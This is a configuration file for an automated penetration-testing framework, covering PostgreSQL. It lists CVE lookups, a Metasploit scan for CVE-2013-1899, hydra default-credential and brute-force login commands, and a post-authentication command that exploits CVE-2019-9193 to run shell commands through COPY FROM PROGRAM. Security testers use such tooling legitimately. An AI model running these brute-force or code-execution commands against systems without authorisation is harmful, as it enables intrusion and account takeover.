#########################################################################################
# PostgreSQL Settings
#########################################################################################

[config]
default_port = 5432
protocol	 = tcp
categories 	 = vulnlookup, vulnscan, defaultcreds, bruteforce, postexploit

[products]
postgresql-server =
    PostgreSQL


#########################################################################################
# Vulnlookup
#########################################################################################
[check_vulners-lookup]
name        = vulners-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Vulners.com (requires product name+version)
tool        = vulners-lookup
apikey      = vulners
# To avoid lots of false positives, only syntax using affectedSoftware is used here
command_1   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[POSTGRESQL-SERVER-VENDOR] [POSTGRESQL-SERVER-NAME] [POSTGRESQL-SERVER-VERSION]"'
context_1   = { 'postgresql-server': 'any|version_known' }

[check_cvedetails-lookup]
name        = cvedetails-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Cvedetails.com (requires product name+version)
tool        = cvedetails-lookup
command_1   = python3 cvedetails-lookup.py --vendor "[POSTGRESQL-SERVER-VENDOR]" --product "[POSTGRESQL-SERVER-NAME]" --version "[POSTGRESQL-SERVER-VERSION]"
context_1   = { 'postgresql-server': 'any|version_known' }


#########################################################################################
# Vulnscan
#########################################################################################
[check_dbname-flag-injection-cve2013-1899]
name        = dbname-flag-injection-cve2013-1899
category    = vulnscan
description = Check for command-line flag injection on PostgreSQL 9.0|1|2 (CVE-2013-1899)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/postgres/postgres_dbname_flag_injection; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; run; exit"


#########################################################################################
# Bruteforce
#########################################################################################
[check_default-creds]
name        = default-creds
category    = defaultcreds
description = Check default/common credentials on PostgreSQL server
# tool        = patator
# command_1   = python2.7 patator.py pgsql_login host=[IP] port=[PORT] user=COMBO00 password=COMBO01 0=[WORDLISTSDIR]/postgresql/postgresql_combo.txt -x ignore:fgrep='password authentication failed for user'
tool        = hydra
command_1   = hydra -C "[WORDLISTSDIR]/services/postgresql/postgresql-common-combo.txt" -s [PORT] -F -v -V -I [IP] postgres


#########################################################################################
# Bruteforce
#########################################################################################
[check_bruteforce-creds]
name        = bruteforce-creds
category    = bruteforce
description = Bruteforce PostgreSQL accounts
tool        = hydra
# Run bruteforce only if no creds found/known
command_1   = hydra -L '[USERLIST default="services/postgresql/postgresql-common-usernames.txt"]' -P '[PASSLIST default="passwords/pass-short.txt"]' -e nsr -v -V -I [IP] postgres
context_1   = { 'auth_status': NO_AUTH }
# If a user is known, bruteforce with this account
command_2   = hydra -l '[USERNAME]' -P '[PASSLIST default="passwords/pass-medium.txt"]' -s [PORT] -e nsr -F -v -V [IP] postgres
context_2   = { 'auth_status': USER_ONLY }


#########################################################################################
# Postexploit
#########################################################################################
[check_postauth-rce-cve2019-9193]
name        = postauth-rce-cve2019-9193
category    = postexploit
description = Try to execute system command post-authentication by exploiting CVE-2019-9193
tool        = psql
command_1   = PGPASSWORD=[PASSWORD] psql -U [USERNAME] -h [IP] -p [PORT] -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo -n RCE && echo -Exploitable && whoami'; SELECT * FROM cmd_exec;"
context_1   = { 'auth_status': POST_AUTH }